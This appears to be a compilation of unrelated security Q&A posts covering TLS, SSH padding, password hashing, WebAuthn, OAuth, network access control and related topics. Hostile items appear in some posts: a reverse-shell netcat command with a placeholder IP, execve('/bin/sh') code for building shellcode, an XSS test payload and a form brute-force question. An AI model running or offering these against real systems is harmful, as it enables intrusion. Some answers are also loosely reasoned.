Pen tester revealing users information for company In my company, the network administration team decided to make penetration testing, and used a freelancer IT for it.

During the process, he was able to reveal many usernames and passwords which weren't protected very much 'http urls, basic authentication proxy, ... etc.'

Is it okay to hand this information and any other user-related and private info to the admins, and what should I do as a normal user to avoid that kind of privacy violation.

P.S: maybe the whole penetration testing is for 'hacking' users privacy, which makes it much worse.

I believe it is okay to hand out user information as long as it is clearly related to the user's work in the company and to the company's security. I as an employer would like to know if there are employees which use weak passwords, etc. because this clearly affects the security of the corporate IT.
Social media accounts of users have clearly nothing to do with the user's work at the company. The fact that you work at company X doesn't authorize your manager at company X to hack your facebook account, pretty much like it doesn't authorize your manager to break into your appartment and see what you are doing there.
There is a grey area, though, which I believe is pretty relevant: If users use the same passwords for the business and their personal accounts then this can be relevant for the company's security and I as a responsible would want to know about that. Therefore I can understand why you were asked to also hack the social media accounts, even if it is more than obvious that this is not the correct way to address this problem.


Can my phone be affected by malware through mobile phone signal? My phone is newly bought. Can a hacker actually scan the mobile phone signal around me, detect it, and put virus/malware into my phone THROUGH the mobile phone signal of my mobile service provider?

Let's assume the hacker doesn't know my number.

I turn off bluetooth and have no wifi connection.

Yes. An individual hacker may do this via a femtocell tower. These are heavily demonstrated at security conferences. These devices can trick your device into installing rouge malware.

Additionally, on a larger scale, rogue cell phone towers have been discovered and could potentially have the same capabilities.

In both cases the devices trick your phone into thinking that it is connecting to it's trusted carrier network. From here the rogue devices can intercept and inject data at will.


Why does SSH use random padding? From RFC 4253:

   Each packet is in the following format:

      uint32    packet_length
      byte      padding_length
      byte[n1]  payload; n1 = packet_length - padding_length - 1
      byte[n2]  random padding; n2 = padding_length
      byte[m]   mac (Message Authentication Code - MAC); m = mac_length

      [...]

      random padding
         Arbitrary-length padding, such that the total length of
         (packet_length || padding_length || payload || random padding)
         is a multiple of the cipher block size or 8, whichever is
         larger.  There MUST be at least four bytes of padding.  The
         padding SHOULD consist of random bytes.  The maximum amount of
         padding is 255 bytes.

Why does SSH require (or recommend with SHOULD) random padding, as opposed to non-random padding?

And why does RFC 4344 say that it is not necessary when using CTR mode?

   As an additional note, when one of the stateful-decryption counter
   mode encryption methods (Section 4) is used, then the padding
   included in an SSH packet (Section 4 of [RFC4253]) need not be (but
   can still be) random.  This eliminates the need to generate
   cryptographically secure pseudorandom bytes for each packet.

Padding is used to fill up plaintext to the blocklength of the cipher. This is not needed for counter mode, since it has no blocks and can encrypt any length.

There are different styles of padding, some are optimized to recognize changes or the actual length of the data. In case of the SSH sheme where a extra field specified the length no special pattern is needed, so random content provides the least information for attackers.

In SSH you can add padding longer than to the end of the block (I.e. To the next block or even more). This helps to make it harder for attackers to guess the actual plaintext length.

Especially for command/response sessions a lot can be learned if the cipher leaks the length. This is called traffic analysis and random padding length somewhat helps against it.


Is there any solution beside TLS for data-in-transit protection? Our development team is implementing TLS protocol for a web server. The type of clients are mobile apps and web browsers.
Now there is a concern about bypassing TLS in any way trough MITM attacks and disclosure of the server's private key.
Is there any solution independent of TLS for data-in-transit protection so that developers use it at the application layer in parallel with TLS?
updated section: according to owasp recommendation : If possible, apply a separate layer of encryption to any sensitive data before it is given to the SSL channel. In the event that future vulnerabilities are discovered in the SSL implementation, the encrypted data will provide a secondary defense against confidentiality violation

Rejecting TLS out of fear an attacker could have stolen a private key is like rejecting medicine out of fear someone could have poisoned it. The downsides far outweigh the risk of not using it.

Why TLS is secure
There are many many angles to answering this, but one that speaks for itself is that everyone is using it. Government agencies are using it, huge tech companies are using it, banks are using it, hospitals are using it, StackExchange is using it too. If TLS would be insecure, don't you think at least someone would decide that it's a bad idea to use it and switch to someone else? The fact that TLS is nearly ubiquitous and recommended everywhere by everyone should tell you that it's a good idea to use it.
Furthermore, TLS is secure, if configured correctly. Version 1.3 makes this a no-brainer, as of the time of this writing, there is no wrong way to configure TLS 1.3. TLS 1.2 is a bit more difficult, since there are some insecure ciphers in TLS 1.2. SOGIS - which also use TLS - have an extensive guide on which ciphers are recommended, and which are still tolerable for legacy usage.
Finally, compromise of the private key leading to insecure communication isn't a flaw with TLS that some other protocol could alleviate - it's a flaw inherent to network communication. If you assume that an attacker has full control over your server, then no matter what protocol you're using, the attack would be able to decrypt any traffic, manipulate any traffic and forge new traffic.
In other words, TLS is not designed to protect against server compromise, and neither TLS nor an alternative to TLS - self-made or otherwise - would protect against that.

Alternatives to TLS
Since the question asks for alternatives to TLS, there is one: DTLS
DTLS is basically TLS, but for UDP. The reason you might want to use DTLS is because your application uses UDP instead of TCP (e.g. a VoIP program), but you still want your datagrams to be encrypted.
DTLS is not more or less secure than TLS, but instead is designed to work with a different underlying layer.


Why does WebAuthn use only one factor? One of the main things that surprises me about the new WebAuthn standard is the fact that these biometrics or U2F keys replace passwords instead of complementing them. Why is this done, and is it secure?

Whether WebAuthN can work as the only factor for authentication or only as a second factor depends, among other things, on the authenticator's capabilities.

The specification's section on taxonomies of authenticators explains this very well: Only authenticators listed as Multi-factor in the Authentication Factor Capability can replace an existing combination of a password and second factor (for example, Password and Yubikey).

Of course, it is ultimately up to the Relying Party, i.e. the site or service allowing WebAuthN-based authentication, to decide whether it is willing to accept a single factor only for authentication (e.g. password only; Yubikey only), a multi-factor capable authenticator (e.g. a CTAP2-capable Yubikey together with PIN entry) or any combination thereof (e.g. password and Yubikey without PIN entry, password and platform authenticator with biometric authentication).

For example, you could imagine a site allowing initial logins using a Yubikey only, but subsequently requiring Yubikey + PIN entry for sensitive operations (e.g. money transfers, registering additional authenticators etc.)


XSS code returned in Source Page I am trying to understand XSS. I have basic understanding of reflected, stored XSS and how they should work. In this particular case the code that i inject is getting returned in the source of the page but I do not get any prompt/pop-up like the usual alert.

Say I inject <script>alert("XSS")</script>

But i can see the string that I passed return in the source. Is it possible to exploit it? is this behavior secure?

Can anyone please help me understand this.

I think probably the XSS is mitigated using Response Headers like

X-XSS-Protection
Content-Security-Policy
X-Content-Type-Options

You can read more about these Headers here . If these headers are implemented properly, the injected script will not be executed as Javascript by browser and prevents XSS.


Do stored procedures prevent SQL Injection in PostgreSQL? Is it true that stored procedures will prevent databases from being injected? I did a little research and I found out that SQL-Server, Oracle and MySQL are not safe against SQL injections if we only use stored procedures. However, this problem does not exist in PostgreSQL. Does stored procedure implementation in PostgreSQL's core prevent it from SQL injection or are there any other reasons/differences? Can I use SQL injection in PostgreSQL if we only use stored procedure?

In short - no, stored procedures does not prevent from SQL Injection. It depends on how you do handle dynamic SQL inside stored procedure.

For more complete answer, check what is posted here: https://stackoverflow.com/questions/627918/am-i-safe-against-sql-injection


How to validate the integrity of a back end? I just read following statement in a technical guideline about network-accessible mobile devices with medical applications (BSI TR 03161):

The application MUST verify the integrity of the back end before
accessing it

with reference to:

The application MUST support certificate pinning, i.e. it SHALL NOT
accept certificates whose certificate chain does not appear
trustworthy to the manufacturer [RFC7469].

and also:

The application MUST validate the integrity of the backend responses

What possibilities are there for an application to verify the integrity of a back end rsp. its responses?
As far as I understand it, the certificate pinning is used to validate the authenticity and aid to the confidentiality.
However, a compromised back end with compromised keys and manipulated data (thus not providing integrity) could still send a valid certificate.
Regarding the back ends responses, I find multiple ways of interpreting this.

The integrity could refer to validity of a protocol
The integrity could refer to data being logically valid

Or am I misinterpreting the statement?

While the differences between authenticity and integrity are difficult in practice, as your example of a compromised key set illustrates, as far as I understand it, this aims at the network level rather than the logic level. Thus, checking the integrity comes down to trusting the authenticity of the certificate and accepting only such cipher suites that provide ways to detect (possibly blind) modifications by a man in the middle.
Another way to satisfy this would be to allow for any ciphers that guarantee confidentiality and evaluate the integrity of the payload in the application logic, for example by restricting the payload to a fixed data format that itself provides integrity, for example JSON Web Signature.
As to your example of the server being compromised and thus the authenticity claim of the certificate holding but an attacker changing the data: that's not exactly true. While it might not look that way for a client, the authenticity goal as already been breached then: the answering party is no longer who they claim to be but rather the attacker.
Additionally: As the TR is currently in a Trial Use Status, for questions regarding compliance with the TR, the contact data of the document can be used.


Gmail, Google, and privacy I am not sure whether this is the best place to get my concerns addressed, but I hope it is. I went through some earlier questions posted on this site about Gmail and privacy but they don't seem to address my concern.

I use Google Chrome heavily as it's really fast and usable compared to other browsers. I also use Gmail for my personal email because it has Google search.

Recently I started a job search and I am using Gmail to email my resume to potential employers.  I want to keep this totally secret, such that not even my friends will know that I am seeking a new job. I am concerned that Google seems to use cookies in my browser, and that they could link all the careers related pages I visit, maps I search, companies videos that I see on YouTube, and my Gmail. Could such a dossier be bought by my existing employer either independently or through some third-party online advertising agency? Can I really trust Gmail and Google products to go on my job hunt and at the same time keep healthy relations with my employer?

According to Google's privacy policy, they do not share personally identifiable information.  Google has made their entire business on acting as an information gate keeper.  You don't buy information about a person from Google, you buy either broad demographic information for analytic purposes or you buy access to have an ad displayed to demographics of your choosing.

You will probably notice that ads start showing up for job search sites when you access pages around the Internet, and it is possible that someone might notice that looking over your shoulder and put 2 and 2 together, but other than that, the information should be well protected by Google as it is not just your income stream in jeopardy but theirs as well.

For more details, I suggest you read Google's privacy policy to see what information they do and don't share.


Is it unsafe to restore backed up data from Google servers? I have an Android smartphone that I don't trust. It has an old version of Android and has been vulnerable to Stagefright and a host of a hundred other vulnerabilities for months. Although there is no clear sign of compromise, because of the number of security holes open for so long, I simply don't trust the device, and assume that it has been compromised.

That being the case, I am switching to a new Android phone (that has the latest OS, and will receive all the latest patches for 2-3 years). Obviously there are zero-days that could cause my device to become compromised, but I would like to START with what I can with some confidence say is a clean device.

I also want to make my life easier, by restoring data from backup. I am assuming I can probably relatively safety re-sync my calendar and contacts from Google servers, but I am afraid to restore my apps.

What are relatively benign things I can restore from backup (that is Sync from Google servers) and what should I avoid?

Caveat:
I am fully aware there is no such thing as a completely secure phone. I am simply looking to provide myself a reasonable level of assurance that I am not going to put myself in harms way by restoring backed up data.

Is it unsafe to restore backed up data from Google servers?

Not generally.

Like Matthew said in his comment, the restore process will not restore the vulnerable versions of previous applications unless the application is still vulnerable.

What Google does is simply store a list of applications you used. You will then have to re-download them, and most of them will probably be updated to remove previous vulnerabilities, making you much safer overall.

Imagine the horror of having to store dozens of different versions of a billion different applications. I can't see that being very efficient.

Your contacts and photos are likely safe as well.

Is there anything else to worry about?

The only thing you really have to worry about are the app permissions. Do you want to allow certain applications access to things you'd rather they didn't?

Updated Responses

In response to your update:

  What are relatively benign things I can restore from backup (that is Sync from Google servers)

Pictures, lists of previously-installed programs, contacts. Essentially, nearly everything you had before.

  and what should I avoid?

If you have any documents, avoid those. Though by now, it's possible the exploit that allowed those documents to introduce malware have been fixed in the updated applications. It's also possible it still hasn't been fixed. I would recommend avoiding them if you can.

If the documents need to be retained, you can still restore them. Don't open them, though. Save them to your computer, and dump them into a virtual machine on a different operating system such as Linux, and get the information you need from them. While it's possible to break out of a VM, it's unlikely.


store passwords as one-way-hash, or just use it as an AES key? I want to store some data so the only one who'll be able to access it is the user itself. Here is my idea: when user registers, his password will be hashed in SHA256 (so it'll fit as an AES key), and encrypt the data using it as an AES 256 key.

If so, I can give up the password section in the DB, I'll won't be needing to hash the password, make salt, etc - I can just try to decrypt the data - it it success, the password is correct.

So what considered to be more secure? One-way-hash using PHP's password_hash with a strong salt, or just hash the password using SHA256 and use it as an AES key (which won't be encrypting the password itself) ?

After all, I've read that AES 256 is secure enough to encrypt TOP SECRET info, so I'm pretty sure that it's hard to figure out what's the key. And even it they will somehow get hold on the key, they'll still have to brute-force the SHA256 to access the password.

Thanks!

Do not use SHA256 to hash passwords. SHA256 is a message digest algorithm. It is designed to be very fast. Use an algorithm which is intentionally designed to be slow and hard to implement in specialized hardware. Why? Because fast algorithms allow an attacker to brute-force a large number of passwords until they found one which works. "They'll still have to brute-force the SHA256 to access the password" is not that much of an obstacle. A SHA256 cracker which runs on a consumer-grade GPU can calculate the hashes of millions of passwords per second.

Bcrypt (which is used by  PHP's password_hash) is one such algorithm, but when you want to turn a password into an encryption key, then it is not the right choice because it's not designed for this purpose. The search term you are looking for is "Key Derivation". A standard solution is scrypt which has several advantages over your method:

It hashes each password with an unique salt. That means two users with the same password will have different hashes. That means the attacker needs to brute-force each password individually and can not run their cracker over the whole database until they found a password which fits someone's hash.
It can generate keys of any length you want. So you gain more flexibility regarding the length of your encryption cypher.
Its hashing function is intentionally designed in a way which makes it a very bad fit to implement with specialized parallel number-crunching hardware like GPUs, FPGAs or ASICs.


Block unauthorized user from getting access to intranet What's the common way to block users from accessing intranet?

Right now, whoever plugs in a cable can access any intranet server freely. I want to change this behavior. But given that we run not only Windows machines but also Linux clients, I can't just use NAP to restrict DHCP access.

Here's my thoughts:

Perhaps all users should do a AD authentication before granting him network access. But that's not integrated with the router.
Checked allowed MAC addresses from a white list. But the perpetrator could just listen for traffic then collect authorized MAC address and use them later.

What should I do now? Any mature product?

There are different ways of tackling this:

Disable unused ports (which should obviusly be the first line of defense)
Using port security on your switch makes it at least necessary that an attacker finds out a certain MAC address and connects to a specific port, which will stop most people from plugging their home devices into the company network. In addition to this you may activate a "suspend" mode for ports: The 1st time an invalid MAC address is detected on a port it will shut down and has to be reactivated manually by an admin.
Radius would obviously the most fitting solution for your problem. You can configure your Windows DC as a radius authentication server and then have your switches forward the authentications request using 802.1X. The result would be that anybody trying to access the network would have to enter their username and pw used on the DC. If it is not correct they will be isolated in a separate restrictive VLAN. Disadvantage: You need hardware that supports 802.1X and have to understand VLAN concepts. I will not go into details of RADIUS here. If you are interested feel free to ask.


Synchronous and Asynchronous physical security tokens: which is stronger? pros/cons? I'm thinking about the differences between physical authentication tokens such as RSA's synchronous physical tokens or asynchronous challenge/response, like Google's gmail direct-to-phone codes.

At the highest level of abstraction, are there reasons why a synchronous token will be better than an asynchronous token and/or vice-versa?

(The potential to introduce implementation-dependent security flaws may be a specific con to be considered at this high level of abstraction: maybe synchronous systems are harder to implement over asynchronous ones. For example, RSA tokens need to be physically secure to protect the seed as opposed to a phone, which doesn't necessarily have to be until the response arrives and then only while the response is still potentially useful.)

The advantage of an challenge/response system is the ability to prevent replay attacks. A challenge/response server sends the user a challenge which gets used in the authentication process together with the authentication credentials. The data which gets send during the authentication will never be the same although the authentication credentials are in most cases the same.

Your differentiation is somehow inaccurate, because even the RSA system is a challence/response system. The challenge is the time stamp the client and the server are sharing. By this the "almost"-one-time-password gets created.

The key difference of the both systems you are trying to compare is not the cryptographic weakness. The key difference is that the Google solution sends the authentication token via an insecure channel. So the RSA token is more secure, as long as they get their own company security managed. The RSA solution does not send anything necessary for the authentication over any channel. That is the advantage.


What to do with output files from binwalk? I am testing my steganography skills on www.root-me.org. I downloaded a challenge. Here is the challenge image file.
I used binwalk and it showed me the following:

root@kst-Inspiron-5458:/home/kst/Desktop# binwalk ch1.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 912 x 602, 8-bit/color RGBA, non-interlaced 128
128           0x80            Zlib compressed data, best compression

So, I extracted it:

root@kst-Inspiron-5458:/home/kst/Desktop# binwalk -d ch1.png -C /

And I got two file which are named as 80 and 80.zlib.
What should I do with these files?
Is my method right?

Discard those files and keep searching.

All that binwalk has discovered here is that PNG images contain a zlib-encoded stream. This is normal -- PNG uses zlib to compress the image stream. The extracted files are the zlib stream and the decompressed image data, which are probably not helpful.

(Interestingly, the image appears to contain some JPEG artifacts. Are you sure you haven't inadvertently converted it from another format?)


How to properly hash a key? big vs small digest We have to roll (decommission) database access keys often, but it's important to know which key each system is using in order to avoid removing a key in use thus creating unavailability. We want each system to report which key it's using without exposing the key itself, of course.

We are using randomly-generated keys with 512 bits of size, and we plan to hash those keys and make hashes available in a less secure media.

Here comes the dilemma: Should we use a large or a small digest?

The minimum digest size would be 32 bits. We only need to compare a handful of keys each time, so it's ok to have 1-(1/(2^32)) of confidence (which gives more than 99.99999%). Also an eventual collision just delays decommissioning of the colliding keys a little, so it's harmless.

Of course if the attacker sees the hash, he/she can filter out all keys that doesn't produce the same hash, reducing the search space to 2^(512-32), or 2^480, which we consider secure enough.

However some colleagues suggested that a small digest is susceptible to rainbow tables and other attacks, so we should use a full digest of SHA-256 or SHA-512. That sounds strange to me, because if our key itself is 512 bit, then a SHA-512 hash would generate no collision and the attacker would only have to find the key that produces the same hash. All this processing can be done offline, with no access to the database to test the keys. So it looks more dangerous than using a 32 bit digest.

How can we settle this?

In practice it literally doesn't matter.

If your key size is 512-bit (I'm not sure what cipher you're using, as none that I'm aware of use 512-bit keys, but whatever) then you've got two scenarios:

In a small digest you've got so many collisions that discovering the original key by looking for matching values will give you a silly number of results. Not to mention trying to execute any remotely computationally complex algorithm 2512 times, or even 2256 times, is practically impossible.
In a large digest you've got less collisions (a SHA-512 hash of all values in the 512-bit space will, in all likelihood, produce a number of collisions - it's just really hard to prove) but a much slower hash function. Again, with an input space of 2512 or 2256 it's practically impossible to brute-force.

There's a lot of incorrect thinking on both sides of your argument, though:

Brute-forcing a single 256-bit value on a conventional computer would require more energy than we can observe in the known universe due to Landauer's principle. More context on this can be found in a post on Bruce Schneier's blog. A 512-bit value is even more ridiculous - it just won't happen, even if you've got an efficient implementation of Grover's algorithm on an incredibly advanced quantum computer.
Rainbow tables aren't useful on these kinds of attack. The idea of a rainbow table is to enumerate all possible input values ahead of time for a known hash function, and store the plaintexts and hashes in a chain. This makes it very easy to perform lookups against a hash and get the original value. However, this is only feasible for sensibly sized input spaces, e.g. passwords. With a 512-bit input space your number of states is so large that storing even an 8-bit hash for each input value would require 2512 bytes (i.e. 1.190853×10139 petabytes) of storage. Even if you could somehow compute all those hashes (Landauer's principle again) you'd need to store them somewhere. Even if you could store an entire byte, somehow, on each photon in the known universe, you'd have nowhere near enough - only about 1050th in fact.

All in all, just pick a strong cryptographic hash like SHA-256 and don't worry about it.


Digital signature with partial recovery I'm having problems understanding what is meant by "digital signature with partial recovery". I found from Google that digital signature with recovery should mean that the message is recoverable from the signature? Is that right?
As I understand about the signature is that I need the public key to "unwrap" the signature. Document what im refering in my case says:

  The certificate issued is a digital signature with partial recovery of
  the certificate content in accordance with ISO/IEC 9796-2

So what would be the steps or whats should I use to recover the message?
Bouncycastle? CryptoAPI? ()

Generally ISO/IEC 9796-2 digital signature scheme is used in cases where the memory footprints of the underlying platform are lower or the data to be signed is very small. Ideally it is not suited for signing some documents etc. For signing documents in the PC environment one can resort PKCS 1 signature schemes with PKCS 7 signed data where we can have envelopes containing the data and certificate.
Lets assume a RSA Key Pair with modulus size of 128 bytes; typically with padding schemes the data which we can encipher to generate a signature is around in the range of 70-80 bytes. In 9796 the size of data which can be encrypted is slightly higher.

In 9796 scheme, the data either full or partial is part of the data which is to be encrypyted to generate signature which in normal PKCS 1 case, data to be encrypted is the digest of the actual data. In latter case for verification; a copy of actual data is required.

Now coming to certificates; in general PC environment we are used to X509 certificates which are bulky in footprint for constrained environment like smart cards or terminal devices. In constrained environment; instead of X509 certs a simple TLV based certificate is used which makes it easier for the reader to read the certificate. So when a certificate is presented in the 9796 scheme, the certificate is part of the signature. There are some digest also included in the data to be encrypted like a pattern of sort M1|Digest|M2. You can refer the 9796-2 specification for more information. I am taking the pattern as general description. Here M1 is recoverable part and M2 can be either recoverable or empty. If M2 is empty than the signature verification device needs the M2 through some other means. In this case the reader just needs the public key of the CA to validate the signature and extract the certificate. The digest in the pattern is digest over M1|M2 in some order. Usually EMV (Euro Master Visa) and other payment card industry uses 9796 schemes. Also many of Electronic Id cards uses the scheme.


Linux kernel 3.2 syscalls Just trying to get the assembler instructions for <__execve> of the code below because i want to build the shell spawn opcode list:

#include <stdio.h>
int main()
{
     char *happy[2];
     happy[0] = "/bin/sh";
     happy[1] = NULL;
     execve (happy[0], happy, NULL);
}

Objdump gives me this :

8053a20:    53                      push   %ebx
8053a21:    8b 54 24 10             mov    0x10(%esp),%edx
8053a25:    8b 4c 24 0c             mov    0xc(%esp),%ecx
8053a29:    8b 5c 24 08             mov    0x8(%esp),%ebx
8053a2d:    b8 0b 00 00 00          mov    $0xb,%eax
8053a32:    ff 15 a4 d5 0e 08       call   *0x80ed5a4
8053a38:    3d 00 f0 ff ff          cmp    $0xfffff000,%eax
8053a3d:    77 02                   ja     8053a41 <__execve+0x21>
8053a3f:    5b                      pop    %ebx
8053a40:    c3                      ret
8053a41:    c7 c2 e8 ff ff ff       mov    $0xffffffe8,%edx
8053a47:    f7 d8                   neg    %eax
8053a49:    65 8b 0d 00 00 00 00    mov    %gs:0x0,%ecx
8053a50:    89 04 11                mov    %eax,(%ecx,%edx,1)
8053a53:    83 c8 ff                or     $0xffffffff,%eax
8053a56:    5b                      pop    %ebx
8053a57:    c3                      ret
8053a58:    90                      nop
8053a59:    90                      nop
8053a5a:    90                      nop

From several texts I've read there was supposed to be a int 0x80 somewhere in the above output. Why isn't there one?

Are there any major changes in the 3.2 kernel concerning how syscalls work that might affect the algorithms of shellcode building (specific register loads, etc) which are presented in books written 3-4 years ago? The above dump looks very different from the output presented in the "Shellcoders Handbook" or "Smash the Stack"

Thanks!

Interrupts have substantial performance overheads, linux has moved to syscall/sysenter on x86 where supported. The VDSO pseudo-dll "linux-gate.so" (which ldd will show) makes the platform-specific fastest call, you can read more here:

https://stackoverflow.com/q/12806584/1955371 (What is better “int 0x80” or “syscall”?)
https://stackoverflow.com/q/9506353/1955371 (How to invoke a system call via sysenter in inline assembly (x86/amd64 linux)?)
http://kerneltrap.org/node/531 (Linux 2.5 gets vsyscalls, sysenter support)

Code that uses 0x80 will continue to work, though current glibc versions won't use that method on modern x86 platforms and linux kernels.


how does reverse shell behave? Someone was helping me with a problem on my vagrant server. He was able to access shell via (I ran it for him, with his ip and port):

nc <ip> -e /bin/bash <port>

I've never encountered this before, but it seemed very interesting.

My host machine is Mac. Could he potentially gain access to my mac via vagrant guest?

I should probably destroy and recreate the vagrant box right?

I'm assuming you meant:

ncat -e /bin/bash <ip> <port>

The -e argument launches the /bin/bash command when a connection is established. The command then connects out to the IP and executes bash for the remote user to interact with. The remote user gains whatever privs the launching user has. Once this command has been terminated, then so has the connection. No problem for lasting connection there.

BUT The real question is what that person did on your vagrant box ... He could have set up or installed a backdoor, or something else to have a persistent connection.

You could check the session's history file to see what he did, or rebuild the box if you cannot verify his actions.


Nmap http-brute - Supplying arguments for bruting via GET I'm attempting to brute a site in my test lab with Nmap's http-brute nse, which has the URL structure https://192.168.101.6/api/auth?email=a@b.com&password=pass

Unfortunately Nmap's official documentation (https://nmap.org/nsedoc/scripts/http-brute.html) has no information on how to supply arguments such as the email and password fields.

I'm aiming to supply my request as follows (where $1 is the email variable and $2 is the password variable):
https://192.168.101.6/api/auth?email=$1&password=$2
Note: $1 should load my email dictionary emails.txt and $2 should load my password list pass.txt

Is this possible with Nmap's http-brute NSE? Or would i need to use another tool such as burp or hydra?

The http-brute script documentation states that it performs "brute force password auditing against http basic, digest and ntlm authentication." These are HTTP authentication methods, but what you are looking for is form-based authentication.

The http-form-brute script does what you want. You can use the uservar and passvar script-args to tell it which variables to send, but if you are using a version of the script since r35542 (2015-12-31), then it should be able to auto-detect the form on the page you want to brute-force. Read the docs carefully, since you may need some of the other arguments like http-form-brute.method. The online docs always refer to the current development snapshot, but you can get the docs for the version of the script you have by running nmap --script-help http-form-brute.


Designing a password auth/reg system I'm designing a user reg/auth system for a website and came up with this design for password based authentication.

I'd like to know if this is reasonable. (ignoring cookies for caching credentials, oauth, etc)

Some things I built into the design, but not sure how much they "help" security:

in case server db is compromised, hashedPw is sent from client so saltedSecret can be reverified. (hashedPw is not stored on server)
challenge (chalSecret) to prevent replay attack
scrypt cost is adjustable over time, but as I expect to use a javascript implementation of scrypt in browsers maybe it's not such a great feature.

Another question is if I can easily secure the initial sending of the saltedSecret during user registration, but I'm assuming using HTTPS is going to be good enough for that.

If there are ways I can simplify this, please do let me know.

NOTE: please see edit section below for changes that simplify this design.

EDIT:
Some things that occured to me since posting this:

TLS protects against replay attacks, so I can remove the entire challenge section.
on the server side, I should (at minimum) store a hash of the saltedSecret.  best is to store an scrypt of it.  This has a good side effect of removing the requirement of the user to send the hashedPw during login.
New diagram with these changes:

The problem I see is that while you're going to a lot of effort to avoid transmitting the users password, saltedSecret has essentially become a password.

The main threat to a transmitted password is that a man-in-the-middle (MITM) will be able to observe it (in the absence of any other forms of encryption) and log into your system.

If we look at how a MITM could exploit your system:

They observe saltedSecret from either a registration or a login (flow 1 or 7)
They make a login request and get told the challengeSalt and chalCost before they've authenticated. (flow 2)
They use the saltedSecret they know to generate chalSecret and login (flow 7)

However you could partially mitigate this by storing saltedSecret and not sending hashedPw or saltedSecret back in flow 7. You'd still be vulnerable from the initial saltedSecret in flow 5.

This is still problematic though because you need a salting and hashing scheme on the server side too if you store saltedSecret. Otherwise if your database is compromised somehow they can use these values to log into your system. But, by hashing the saltedSecret you won't be able to reconstruct chalSecret on the server side and avoid transmitting the generated saltedSecret from the client side.

Generally transport layer encryption such as TLS is considered a sufficient control against MITM attacks, so perhaps you need to weigh up whether implementing client side hashing actually mitigates any significant threats better than just relying on TLS. For example, if TLS is compromised then a MITM could probably inject JavaScript to capture the password any way.


SAML 2.0 IdP metadata security Identity Providers (IdP) often provide a metadata file that is used when setting up SAML. This file needs to be entered into a Service Provider (SP). Do we need to keep this metadata file private and secure? Or is the information within it all safe to make public? I'm curious when setting up a service provider what level of protection we must place on this information.

The metadata file doesn't have any sensitive information in it. It provides information that the SP can use to trust an assertion coming from [IdP] (so no one else can claim to be [IdP]). The typical information it contains are:  SSO URL, issuer name, and the certificate containing the PKI "public" key. All of these are pretty much public anyway (as any user can see them in the SAML assertion if they capture it in the browser). With this information, the bad guy cannot really do anything.

Source link went dead.


OAuth2 JWT Signing with OAuth2 Application Secret Key Abstract (sorry, this is a mouthful):

I would like to facilitate back end system-to-system Authorization via OAuth2 and JWT by making use of the JWT 'aud' param to specify a resource specific to an application (via a JWT Authorization grant request to the Authorization Server), and then have the Authorization Server sign (or encrypt) the JWT with the OAuth2 secret key of the registered OAuth2 Application that holds the resource specified by the 'aud' param so that the Resource Server for which a token was requested can validate the token with its OAuth2 Application secret key.

Summary:

I have a question regarding back end system-to-system Authorization with OAuth2 and JWT.

Given a Resource Server RA
And a Resource Server RB
And an Authorization Server AS
And RA and RB are registered OAuth2 applications with AS

We would like to make use of the OAuth2 specification with JWT to achieve the following:

RA requests an JWT from AS
AS responds to RA with a JWT
RA requests a resource from RB using the JWT
RB responds to RA with the resource data (without having to calls AS)

The Problem:

The goal is for RB to have the capability to validate the JWT independently of AS. That said, RB must have a way to validate the JWT that was send in the request by RA. Since AS issued the JWT sent by RA, then AS and RB MUST have a shared secret.

It would be bad security practice to have a shared secret between all Resource Servers and the Authorization server for the express purpose of using it for JWT signing and/or encryption. This solution would side-step the OAuth2 (Authorization Delegation) spec which has painstakingly attempted to mitigate the security issues that arise from largely distributed symmetric keys, etc.

Proposal:

My rough proposal is to solve this issue is as follows:

RA requests a JWT from AS using JWT Authorization grant and specifies a resource in the RB API in the 'aud' param (https://tools.ietf.org/html/rfc7523#page-6 see number '3.')
AS Responds with a JWT signed/encrypted with the secret key of the RB Application (AS can identify which application secret to use based on the URI of the 'aud' param)
RA requests a resource in RB using the JWT
RB validates the signed/encrypted JWT using the OAuth2 secret key

My Question:

Does the proposal make sense here? Is there a much more straightforward implementation that would still meet my goal and stay within the OAuth2 specification? Is this a misuse of the 'aud' JWT param?

Thanks a lot for reading this, and for your help.

This sounds like a case where the new introspection service added to OAuth2 (https://tools.ietf.org/html/rfc7662) would be useful.  It allows your RB to validate the access token (the JWT) forwarded by RA against the AS.

This breaks your request that there is no communication between RB and the AS.  But that should not be a problem, as these services already trust each other.  There are no globally  known symmetric keys or implicit trusts between RA and RB involved.

Interpolating it into your stream:

RA requests an JWT from AS
AS responds to RA with a JWT
RA requests a resource from RB using the JWT
RB validates the JWT against the AS/introspection service
RB responds to RA with the resource data


Data security by third party esta suppliers Unfortunately I have required the ESTA (The Electronic System for Travel Authorization) on a non-official website, which ask me a very high fee, with respect to the official website where it costs only 14$. I have immediately wrote the this website asking to cancel my request and refund me. Surprizing they did it, I got a refund.

Now my point is: what about the data I have gave to them. It seems to me that these people what to cheat people, so I am worried about what they are going to use with my data, including personal data and credit card (including cvv). Should I be worried? Is there anything I can do?

I found a discussion (in french language) here. What is said is that there are many sites that require more that the official fee for their help in getting the document, which is allowed. And a comment say that generally they do not do more harm than the additional fee, because it is enough for them to live and passing fraudulous operation would come at the risk of being legally attacked.

So you should just control your account statements and if you see a fraudulous operation, just require your bank to cancel it - what you should anyway already do. At least in France, every bank immediately cancel any payment if it is declared as fraudulous unless it has been confirmed by the pincode, a manually signed paper or a 2FA method like a SMS code.

So unless your bank declare that you must prove that an operation is fraudulous for them to cancel it (and my advice would be to change your bank), you should not worry too much about you data. After all, it would not be that different than an evil employee on a good site, because he could also steal the informations.


A firewall without any extra features I have Kaspersky Internet Security (KIS) installed on my system. I always keep it disabled, yet using a few practices, I kept my system virus free for years:

I disabled autorun using these tricks;
I installed the freeware Panda USB Vaccine;
Every time I get a new file from the web or by other means, I run KIS on it. When in doubt, I check it using VirusTotal.com. If still in doubt, I run it via Sandboxie;
I keep my Windows & other software updated.
I enabled Windows Firewall.

Believe me or not, these simple tricks made my system 100% immune against malware.

However, while keeping KIS disabled frees the system of performance degradation, there is one drawback: Programs can freely access the web.

I need a lightweight firewall (for Windows XP) which does not have any extra features; that is, it only controls the connection. There are many free/commercial firewalls, like Comodo, ZoneAlarm, Outpost, Privatefirewall, etc., but they have a lot of extra features, like Application Integrity Check and other application controls (whether an app can create/terminate process, can use interprocess communication, can setup hooks, etc.).

To sum up:

  I need a lightweight firewall which is capable of setting what apps can access what ports/protocols/etc., but does not bother me with other application checks.

